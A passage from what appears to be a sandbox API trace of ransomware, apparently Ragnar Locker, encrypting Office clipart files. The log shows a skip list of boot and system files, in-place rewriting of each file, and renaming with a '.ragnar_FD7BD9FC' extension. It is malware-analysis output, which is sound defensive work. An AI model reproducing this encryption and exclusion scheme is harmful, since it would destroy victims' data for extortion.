VirtualAlloc (lpAddress=0x0, dwSize=0x8b96, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.806] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b96, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b96, lpOverlapped=0x0) returned 1 [0090.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.807] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b96, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.807] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b96, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b96, lpOverlapped=0x0) returned 1 [0090.807] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.807] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.808] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.808] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.808] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.808] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.808] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.808] GetProcessHeap () returned 0x580000 [0090.808] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.808] CloseHandle (hObject=0xf4) returned 1 [0090.808] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" [0090.808] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.ragnar_FD7BD9FC" [0090.808] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.809] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0090.809] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.809] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00350_.WMF" | out: lpString1="SO00350_.WMF") returned="SO00350_.WMF" [0090.809] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF") returned=".WMF" [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="autorun.inf") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="boot.ini") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="bootfont.bin") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="bootsect.bak") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="bootmgr") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="bootmgr.efi") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.809] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="desktop.ini") returned 1 [0090.810] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="iconcache.db") returned 1 [0090.810] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="ntldr") returned 1 [0090.810] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="ntuser.dat") returned 1 [0090.810] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.810] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="ntuser.ini") returned 1 [0090.810] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="thumbs.db") returned -1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.810] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf")) returned 0x20 [0090.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.810] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=48096) returned 1 [0090.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbbd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.810] GetProcessHeap () returned 0x580000 [0090.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.811] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.812] VirtualAlloc (lpAddress=0x0, dwSize=0xbbe0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.812] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbbe0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbbe0, lpOverlapped=0x0) returned 1 [0090.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbbe0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.814] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbbe0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbbe0, lpOverlapped=0x0) returned 1 [0090.814] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbbe0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.814] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbbe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.815] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.815] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.815] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.815] GetProcessHeap () returned 0x580000 [0090.815] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.815] CloseHandle (hObject=0xf4) returned 1 [0090.815] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" [0090.815] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.ragnar_FD7BD9FC" [0090.815] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.816] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0090.816] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.816] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00352_.WMF" | out: lpString1="SO00352_.WMF") returned="SO00352_.WMF" [0090.816] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF") returned=".WMF" [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="autorun.inf") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="boot.ini") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="bootfont.bin") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="bootsect.bak") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="bootmgr") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="bootmgr.efi") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="desktop.ini") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="iconcache.db") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="ntldr") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="ntuser.dat") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="ntuser.ini") returned 1 [0090.816] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="thumbs.db") returned -1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.816] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf")) returned 0x20 [0090.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.818] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37708) returned 1 [0090.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9343, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.818] GetProcessHeap () returned 0x580000 [0090.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.818] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.819] VirtualAlloc (lpAddress=0x0, dwSize=0x934c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.819] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x934c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x934c, lpOverlapped=0x0) returned 1 [0090.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.821] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x934c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.821] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x934c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x934c, lpOverlapped=0x0) returned 1 [0090.822] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x934c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.822] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x934c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.822] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.822] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.822] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.822] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.822] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.822] GetProcessHeap () returned 0x580000 [0090.822] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.822] CloseHandle (hObject=0xf4) returned 1 [0090.822] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" [0090.822] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.ragnar_FD7BD9FC" [0090.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0090.823] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.823] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00364_.WMF" | out: lpString1="SO00364_.WMF") returned="SO00364_.WMF" [0090.823] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF") returned=".WMF" [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="autorun.inf") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="boot.ini") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="bootfont.bin") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="bootsect.bak") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="bootmgr") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="bootmgr.efi") returned 1 [0090.823] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="desktop.ini") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="iconcache.db") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="ntldr") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="ntuser.dat") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="ntuser.ini") returned 1 [0090.824] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="thumbs.db") returned -1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.824] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf")) returned 0x20 [0090.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.824] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6472) returned 1 [0090.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x193f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.825] GetProcessHeap () returned 0x580000 [0090.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.825] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.826] VirtualAlloc (lpAddress=0x0, dwSize=0x1948, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.826] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1948, lpOverlapped=0x0) returned 1 [0090.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.827] 